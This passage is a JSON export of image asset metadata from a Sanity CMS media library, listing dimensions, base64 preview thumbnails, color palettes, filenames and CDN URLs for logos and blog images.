PilJWzBNs5SioSoaTNDwH7yBFJ5gDo9i41HvqPZKsYZbLvIL5qhzLKqaZNcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#292d56","foreground":"#fff","population":0.68,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":33.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5bbd8","foreground":"#000","population":0.46,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9aa6e5","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a25b76","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e86040","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"908467f7378d277d4de79a6d45573b78a10f8002-1567x844.png","path":"images/sczeoy4w/production/908467f7378d277d4de79a6d45573b78a10f8002-1567x844.png","sha1hash":"908467f7378d277d4de79a6d45573b78a10f8002","size":72347,"uploadId":"9FUEm6lYlPmORMRhH2TSXkOjrxHvJ2Us","url":"https://cdn.sanity.io/images/sczeoy4w/production/908467f7378d277d4de79a6d45573b78a10f8002-1567x844.png"} {"_createdAt":"2022-06-16T22:54:09Z","_id":"image-90ab6f03e96c9057b1abbdce2b722765a273cafb-2533x740-png","_rev":"oamrAPLmQLQjd9jh7ZoGzC","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:54:09Z","assetId":"90ab6f03e96c9057b1abbdce2b722765a273cafb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DH0,*|Z_kcabaafPfRfQfQfR","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.422972972972973,"height":740,"width":2533},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAADsOAAA7DgHMtqGDAAABVUlEQVQYlT2RS0scQRSFb5/qBF/xATP3bDQSInMwykBiDAGF0UlrwpC4EsTHwonoRiVBQbJ26w9wkz/gMoH427II1VLtdBaHqoLLR537WfCWgQKoIVAjoIYHeQoqB/WkOl1hcE9zw8Ff5mZzZiOlWeNvZhbNutEsUAk4BmoJ1EdQH0D1QK2AWgD1FtR7uBbh1cx6oNbh0tDqnU/ulu2p3bg8vhObthktwWrgGqg+qBO4ruH6Bmq7elM/4DqvQp0GtvoZX3151v21OdMvb57348/mQSysiKEGpnptUJ8riOsSrjNQe6COQX2H6wKuK1Bnga3DzBe2xos/vdmj8nb2a7zzg9izIuY1MO3QQbVAqarmejeom/Ia1BtQq2klg8rzo9376cZ+2WnsxU8TO3HGipjVwBqaJDzGKwHp549S+F9KJS00X+TW/m3WKYN1/uXWiZltRHsAISxP/ZmaWhUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34344c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041794","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#054df9","foreground":"#fff","population":1.97,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4ecd4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6c7cfc","foreground":"#fff","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#849ca4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#054df9","foreground":"#fff","population":1.97,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Trind_logo1.png","path":"images/sczeoy4w/production/90ab6f03e96c9057b1abbdce2b722765a273cafb-2533x740.png","sha1hash":"90ab6f03e96c9057b1abbdce2b722765a273cafb","size":161902,"uploadId":"vvBQ62QuviJsLruRClvNoVuq69j9Ioy9","url":"https://cdn.sanity.io/images/sczeoy4w/production/90ab6f03e96c9057b1abbdce2b722765a273cafb-2533x740.png"} {"_createdAt":"2022-09-07T11:39:46Z","_id":"image-90b07c584c9c583a41e621b708592da27bee8c04-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtDLt","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:46Z","assetId":"90b07c584c9c583a41e621b708592da27bee8c04","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC3klEQVQ4jYVUzWtXRxQ9SYxRMYoWlCjU7rqwgvEDilEXAUUpjVirQqvt7/fOTYzYmvixUXeRoLj0Y5FFBUVR6KobxTbS0i5dWJX+O/eUO3OT/GIqHRjmvXkz55177rkXeG/IAI3myo61QZcadIvoLmu81/06CfjE+2DMDzHHALULYK8MAyKGRJwU0c51qOyPorecHQPcPgBY/jhenleI2C7igogHIp6LmHXimYiHuT/oxArPu4sBmwxxJJkRgyKmnXgh4okMUzJcEjFV3uv+dP60N+4vYRi0S6jEpmQQl+6IOJQX94kYFnFMxL38PiliQK1OsPFFGvaI2JthPRVxwNvod2KPiJsiboj4IkGfpBx7IlEV7AygrxcBLk/hQ7PrIjarVTK8IwCdmE3Q4SJD1fREOKAyC7CzHUkh+kTQiZciLopYq0tlf5UMu5NlzP0iLov4zYlWBWwBOr7gNz9VnjfIcEXEnyLOqcHqsIV+SFBiR4Y/mBEEw5Phz5JZbzIRwXIU62X4SoafRfwiYkQN+uYNPFnOdjvRL+JwahxaD6mFLnhURczxebCjMjyW4ZkT553YojZ6ZOhzw2oRa4qmxEERd+ez3GBA386Z2dAlw0fJrIIZJmT4RDVBHxemhnNppSknnjrxqwzTsvRhe87MxLpOZjJMyvCZDJu8Hp7M8P+S4ffM/sPc3y7DyhJplJ6zFHnU6X03vEhmnzrxuRPXZHgkw0sPTQ1XZTBZrWVvMOANeovtvqzSzZn4exF/yHBLhm1ZEeGvd068lmFGhiMybAwtU4ae0Ew/ZXUFwzNVwwA86xEOcTGYpWnfOvFPATYMytCviUVerUCWYKNLGQbgYxG3nfhbxJsE3ili2RKgua70TVru9EJDiJKKup1J0FdOvEqwraVqanOtIOHVE9Vm/zmydtc7sdcr0wj/OxG7Sj8M43d25mA39gGwGP7jvHXC/RF+T67BfKHN15b2v+Nfy6ZJKcF8UDsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7d6650","foreground":"#fff","population":1.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f1104","foreground":"#fff","population":1.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f26109","foreground":"#fff","population":11.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#933b05","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#faad7f","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b16a54","foreground":"#fff","population":1.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f26109","foreground":"#fff","population":11.63,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-key.svg","path":"images/sczeoy4w/production/90b07c584c9c583a41e621b708592da27bee8c04-24x24.svg","sha1hash":"90b07c584c9c583a41e621b708592da27bee8c04","size":612,"uploadId":"cyvSkGPwT51tVhIzmSdr6KPzchX7mVo3","url":"https://cdn.sanity.io/images/sczeoy4w/production/90b07c584c9c583a41e621b708592da27bee8c04-24x24.svg"} {"_createdAt":"2022-06-30T20:00:13Z","_id":"image-90b84239573ff75b3f785be206f6ba78650efa8f-1567x844-jpg","_rev":"oP937kX6v07bcvrIPZO4ad","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:46Z","assetId":"90b84239573ff75b3f785be206f6ba78650efa8f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8TIdl.mpc%1yY^+tRozkCozp_W;V@aeVs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAMEAQj/xAAgEAACAgEEAwEAAAAAAAAAAAABAgADEgQRIVEVMUFS/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwEC/8QAGBEBAQEBAQAAAAAAAAAAAAAAAQARAiH/2gAMAwEAAhEDEQA/AOn7rbMb1wZQq8N3JbLH8fQTcUJHLHkmU6Ym1blsOQ322PUaaKjSiFBgvodTKLKdB5lmjJbTqS+Z/XcI2tFRAqgAD5CUj6ddv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343f3c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c0714","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#cea19e","foreground":"#000","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cea19e","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc84ac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af6465","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f23246","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"90b84239573ff75b3f785be206f6ba78650efa8f-1567x844.jpg","path":"images/sczeoy4w/production/90b84239573ff75b3f785be206f6ba78650efa8f-1567x844.jpg","sha1hash":"90b84239573ff75b3f785be206f6ba78650efa8f","size":310070,"uploadId":"9EQnM7narIdWgycDmlER1Ob02vpHBsHf","url":"https://cdn.sanity.io/images/sczeoy4w/production/90b84239573ff75b3f785be206f6ba78650efa8f-1567x844.jpg"} {"_createdAt":"2023-05-17T13:26:52Z","_id":"image-90c1f3c2abff133290dd0ab790a948d39d7e949e-750x207-svg","_rev":"7zkUzK17nyKradHQJNSXjP","_type":"sanity.imageAsset","_updatedAt":"2023-05-17T13:26:52Z","assetId":"90c1f3c2abff133290dd0ab790a948d39d7e949e","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D=F{9y}F=exGS2oLoLj[jua|","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6231884057971016,"height":207,"width":750},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSklEQVQYlY2Qy0pCYRSFv6OGlyyh7J7HWyTRRc0MayRFZEJhIQhFXoJGEUVg0KA36g2C3qFs0tQm5a+nTGnW+ePQGThsw2JvvrVZGzbCpUoxENSFJ6yLwZAU/f56w6VWHx2TI4AlpNj6AJspiylrD7P1eApNNSa1xKb+kc7p2lpWtiKp+rs3cn1lcc8CS1ZIAstAHFgEFoCYyRL8+VFjFwigre3o7cKp3jm/+fk6uZAfW/m6mFmtFhWnsbCrQAk4BoqmKkDZZKUefgYcokXT8jNTkO3imfw8KEstlXlt+ePVW+tgGFixQAbYN2XMWWAPyBsHgW0gZ4YfIbyRbiuc7GrxjU5rbv27OTH/0vSELh/sY6OA24Fi/FIFpoFhYAgYB/xm9wITwBTgo+H01US/vyYGgk/CHXgWLvW+4fRV3pw+j3QFubMbef+vXxFAYU4LP+/9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd0c1a","foreground":"#fff","population":0.75,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#040404","foreground":"#fff","population":72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8e0a29","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67f9b","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b35a4e","foreground":"#fff","population":0.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc051d","foreground":"#fff","population":0.99,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"toyota logo.svg","path":"images/sczeoy4w/production/90c1f3c2abff133290dd0ab790a948d39d7e949e-750x207.svg","sha1hash":"90c1f3c2abff133290dd0ab790a948d39d7e949e","size":2232,"uploadId":"QU622nsXahUI30wjzmmJO3j2TGPpvsLS","url":"https://cdn.sanity.io/images/sczeoy4w/production/90c1f3c2abff133290dd0ab790a948d39d7e949e-750x207.svg"} {"_createdAt":"2023-01-16T06:16:30Z","_id":"image-90d9df32035e728692777fc6626f22ff154e4b4a-1567x844-jpg","_rev":"E0WcOAmhawew35VucLBoty","_type":"sanity.imageAsset","_updatedAt":"2023-01-16T06:17:02Z","altText":null,"assetId":"90d9df32035e728692777fc6626f22ff154e4b4a","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQPZfZ?^R;M_-orsOYrqM_x^iwT0Mws.tS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUI/8QAJBAAAgEDAwMFAAAAAAAAAAAAAQIDAAQRBRIhBjFBExQVI2H/xAAWAQEBAQAAAAAAAAAAAAAAAAABAAP/xAAcEQACAgMBAQAAAAAAAAAAAAABAgASAxEhMUH/2gAMAwEAAhEDEQA/AOhEsjHKZGuZWXvtJ4pf6jU67b+2gb0xE24yHwKaIeQ+eeaz57aH4u7+sDerbscZodWZgOV+xVq7I9lPpi002LSlS0nW4UOQ8hPdvNFQ9CW0KaAu2MDMjk/pzRWtQOCRzZGOyZ//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#535357","foreground":"#fff","population":0.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a2f52","foreground":"#fff","population":2.61,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7ab1b","foreground":"#000","population":3.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbbda0","foreground":"#000","population":1.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce067","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#688c92","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7ab1b","foreground":"#000","population":3.56,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Open_source_is_the_future_blog.jpg","path":"images/sczeoy4w/production/90d9df32035e728692777fc6626f22ff154e4b4a-1567x844.jpg","sha1hash":"90d9df32035e728692777fc6626f22ff154e4b4a","size":149729,"title":"Open source is the future","uploadId":"pX2JTwdqNrEPYHS8sNVMiLp4Kx5I7pqH","url":"https://cdn.sanity.io/images/sczeoy4w/production/90d9df32035e728692777fc6626f22ff154e4b4a-1567x844.jpg"} {"_createdAt":"2022-06-15T20:02:16Z","_id":"image-911a383fcb8ecec99a8b65de56ebf134ca57cb39-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRri7ky","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:30Z","assetId":"911a383fcb8ecec99a8b65de56ebf134ca57cb39","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWP6my?vtjN1IXF*M^--RQMz-BRiV?V]oz","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADNklEQVQokTWO708bdRyA76/xlS9Nliya+MYsyxL1hcYsGBcNWRzTLKKZhjZOEcKgziVsjjkc3WQwaQul2WBjEYqM/qDHlaPQlmt7vd7v6933aHt3lQn28zGY+eLJ8+7JQ/GC3suVpWCpIof2SuJ9rixPKNp+0CTelGW3w7ruRbbWnMjkN/uR/jfM2f6T+ty9Hm02PW9HZMGNmKQdNok3a+jebyLX+p5ic9zdRJIprT3P2PHVlJFMZ3Ve0A2TuGbddMku45Kp4Qa5ckYmX5/kyNDpKrn9kUyiAxrZXm0QXfMs0/JsTXarYqEVOw6G1pOb9p9raVyOJzCRYpAXdLSsFkpVGxembfSdFfHD1x5j91t3cPRyHKMjEi78KCPztI6q5KChuahWW45UbMapak3/vVSRzVJZxr2S2CnzCqh6AyziAJczIRjQ4cI7WTh1wgdvnz4Lt2/dh9yGCntpA4QdBQyJdGTeRL4gN6oFKU7VdTdUN13LJB6axIP/sYgLu1kJ7gZy6LuwDj3dAezt/RKj8zGs8BJWuDIKeQbVIgsFZgs31tMtZiO9Rmm8N2fW28Sy22jZbXhptEwTi8wjDP/cj8HArxiefIqLj58hTdOYTKYwFo3iSuwBMgsTsBgK4mx4pplc/WOVEvKteUP37P8iL8+OTXQelMwAsKHXgY19BnsbK5Bnd2Azk4FIeAZGrwfgzuhVGL/mh4G+S3h9ZNBZXlpMUQLXmDN0h1iWg8RqdWyrAfuWDU2tDK3dcWgmzoOzNQjN0gpI+Sxsp5/D0vwUPBzzwa2hz6Hvq57OJ13v4RefnnMnxse2KVNQw/WabOuihESV0TFk9Iwa/qVx+EJM4SH/BP8RlvFITKNTyaCeT6GSfYLlpUF8dKMLr1x6H89/cAp7z53xfhnxZyinnL9pFtisWmRFW8hXD9SicKjlhSM1J3QUttJRshwoDAcyzR2KGc7jae6AT3DO1j2OedBdnux7szZ28YT60P/uTnp6aJpqC7tdDr/9bZNnR9oiO3yksMMdJTsMyuZVkOl+kGk/yLQPFdrXkWnfixrtP+ag9MxnLl3+Trj56jX5p1du7M98/MPfbLj7X6Fdwi+u/lPgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#534e2d","foreground":"#fff","population":0.82,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#895f34","foreground":"#fff","population":0.6,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eda51c","foreground":"#000","population":4.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6bdd1","foreground":"#000","population":0.68,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6df4b","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c628e","foreground":"#fff","population":0.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eda51c","foreground":"#000","population":4.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"911a383fcb8ecec99a8b65de56ebf134ca57cb39-1567x844.png","path":"images/sczeoy4w/production/911a383fcb8ecec99a8b65de56ebf134ca57cb39-1567x844.png","sha1hash":"911a383fcb8ecec99a8b65de56ebf134ca57cb39","size":516600,"uploadId":"SWblOerxQsXszaYEaKBXZgx2at5gthof","url":"https://cdn.sanity.io/images/sczeoy4w/production/911a383fcb8ecec99a8b65de56ebf134ca57cb39-1567x844.png"} {"_createdAt":"2023-01-31T10:39:47Z","_id":"image-911aff6bd3dda8ba22019134a4da2badd1af9396-2000x911-png","_rev":"iop8tFFqgfe67JrEak2sVF","_type":"sanity.imageAsset","_updatedAt":"2023-01-31T10:51:45Z","altText":null,"assetId":"911aff6bd3dda8ba22019134a4da2badd1af9396","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1953896816684964,"height":911,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAIAAAC9o5sfAAAACXBIWXMAAAsTAAALEwEAmpwYAAABSUlEQVQokW2QzU7DMBCE8/5HCmna8iPgAE/CjQOVKGnapK2EBAKSxnbW9u7aFnJog5AYfZdZ7RxmktHV/ezm/vr27uLy5iydnozGp+kkzWbpePo/2SzNZuPsPJucJ4/zfP5cLItytape8mKxyPNlsVqXZVkNrNfl+nipqu1m07PdJa/v9WctOjAKdNOKutm3rQTQGEVIhEi2V/TE3vtwVCKUBm0tsgJbt7JphZQKAOIrH0TERNE550IIPgRyHtklxD5CXoFtWiWk6joArWPWedfjfTgQosDy7lMVb+0xzL7TthFqL5RQoEBrgwbZIFliYkfOD9TKPG2/HpbvQ9iBwUZ2tZC1VAKgMxYsgUWNpIk0sTmiDH4I/baHP+G26wSANAbQGibLHHGsiQDR/FhmZIfOkRs6szcWY1lr+1nipgPs4zx999+jD+EbG2zuIt7ON5sAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2c3c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#184d77","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#184d77","foreground":"#fff","population":0.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4bdc5","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c8ecfc","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7494ac","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04549c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"blog-kafka-mastodon-2-create-index-pattern.png","path":"images/sczeoy4w/production/911aff6bd3dda8ba22019134a4da2badd1af9396-2000x911.png","sha1hash":"911aff6bd3dda8ba22019134a4da2badd1af9396","size":72520,"title":null,"uploadId":"IvfzU8L4yJ31eGPjFzhKAiH2Wvbu6PpH","url":"https://cdn.sanity.io/images/sczeoy4w/production/911aff6bd3dda8ba22019134a4da2badd1af9396-2000x911.png"} {"_createdAt":"2022-06-15T20:02:21Z","_id":"image-91371dda4f5e824c0196ac315581dd78f81796ac-1567x844-png","_rev":"6BJll63fjycTvao7AupnwZ","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:02:25Z","assetId":"91371dda4f5e824c0196ac315581dd78f81796ac","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYPZAU?wyDIUxuBFxtaJRjxu?bD%RQxtNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADP0lEQVQokSXM728adRzA8ftrNNFHbjZZtNEH+hdoYnRduthZHyzb7OqwNlSb+aMZfTZ1XZlrau1aoaVzgVEo0FWUrlLoQSkU7jg4OODg7vu9O34c2pLx+ZjGB6+8n72ZgiiPc3lpkctLG7xQWefykusML1RcYrnhqistl0pNF9FMV0NpuWp1fb1W11ersr5YrWkLVVlbqsqas1bXlxS19RWTyRYXDtgMH2fTOpvMEjaZpQeJY8omjulhiqNs8pim0jwVSzJNJDM0ENyhm76Q+tS71XA/9dc93q3Gpi9II7vRYrEobTAlSVnLF2pavlBFoVhDoSijUPi/qXQen7h96PH68fAoiz5fAG3fz+AXYzfx5rXrOH7tOlo+G8Nvp6fxt5WVVi6TCTEqNR0qNVWVdlClZl+lJiikA4R0oCBIsLUVglBwG1LJI3jsWIOJ0VG4ODgI751/DT4YOA/Dbw72x4eH8Rf7vM4dJQMM0bpOonUJ0bpINBOIZiKlbaSlGkqxBLK7e8juRTH7LAyeBw9xemQEPh54HT565SW4/OrL8Om5czAxNITL9jlDSMWCDKEdJ6EdQs4mtAWUtlBTNaRsDPmVBYxsOHDP58WcYxl3H9px1mLBS+++g+9fGMAP37iAw2+/BZaRy+j4+QejlAyHGEqbTo0aRCc66oT2DUKhqTSgue8HYf4WPHswA3+4fgXeNQ8F3yp4l+fBZhkF69VL8PXnN+C7L8dh7o4VA877TfnQt80Yquo0FEU1lAY2FbnfUmTo1MvQja2DvHgFduyT4H10D7JPbGDs2aERvgu5pSvALo1B3P8Ikn+6++mwC8V9t97mw0GmXRbWdJGnpMSjUS2gWRexW+XxJOFE4r6BfzlmcNM5h7xnAk92Ldh/fgtf+C9iLzyJp/kA9moJ7FX2sVeONvtSLMiYXOInLRNn5SxbpmIm35V57qSW4055P9eM/chxkVUuHXnMqc9nuRexSQ7jUwJGJ0VM3RNRCotYTxRRTpSxdpDCanyZ+Uc8GmoXDqeNYsrWljLf/Cvnpk7lrLVXZa0npYi1K/5t7YpRa6+4be0L7ingf78Nec8dEHdsUInaoHpwZhYq8dtQiX3yH3pluEj20rt/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d3049","foreground":"#fff","population":0.29,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4f2422","foreground":"#fff","population":1.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f19b23","foreground":"#000","population":4.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbec0","foreground":"#000","population":0.45,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6d758","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#936679","foreground":"#fff","population":0.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f19b23","foreground":"#000","population":4.92,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"91371dda4f5e824c0196ac315581dd78f81796ac-1567x844.png","path":"images/sczeoy4w/production/91371dda4f5e824c0196ac315581dd78f81796ac-1567x844.png","sha1hash":"91371dda4f5e824c0196ac315581dd78f81796ac","size":549511,"uploadId":"o1L3pGAmiupbKZS5dxrUl5KYvrDMYIGG","url":"https://cdn.sanity.io/images/sczeoy4w/production/91371dda4f5e824c0196ac315581dd78f81796ac-1567x844.png"} {"_createdAt":"2022-07-08T09:49:28Z","_id":"image-91decd9c0d172049f164a74b02c512090bb7038b-1726x554-png","_rev":"QRl2cGoCgj0FlAhkRriUvv","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:37Z","assetId":"91decd9c0d172049f164a74b02c512090bb7038b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D6SY{q-;M{~qt7~qIUt7%2t7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.115523465703971,"height":554,"width":1726},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAAA0klEQVQYlZWR227EIAxE8/8ful3uEO4hyVTDlm2lPm2kkTEZjjHejuNA7x2tNeScYa2FEGLKOYda6/xHz3VduO976jxPpJSgtYZSanqZbzSXUiaMSili33f4EBD2iPSzn1NCbw1jDPASK9Za53lymG8hBBhjZiVWYU6YMg4PoaG0gdEa8vkFbw1KyW8AYTHGeYZF2cXmvf8P9B7aOjzlCzjbkgLBWZT8C2RcfoJZYFtvSHG91P/sL43xanV5GddzETZbxocfB8LhrKFwIFLK9wC/AXt+0IumhCVNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#846854","foreground":"#fff","population":0.05,"title":"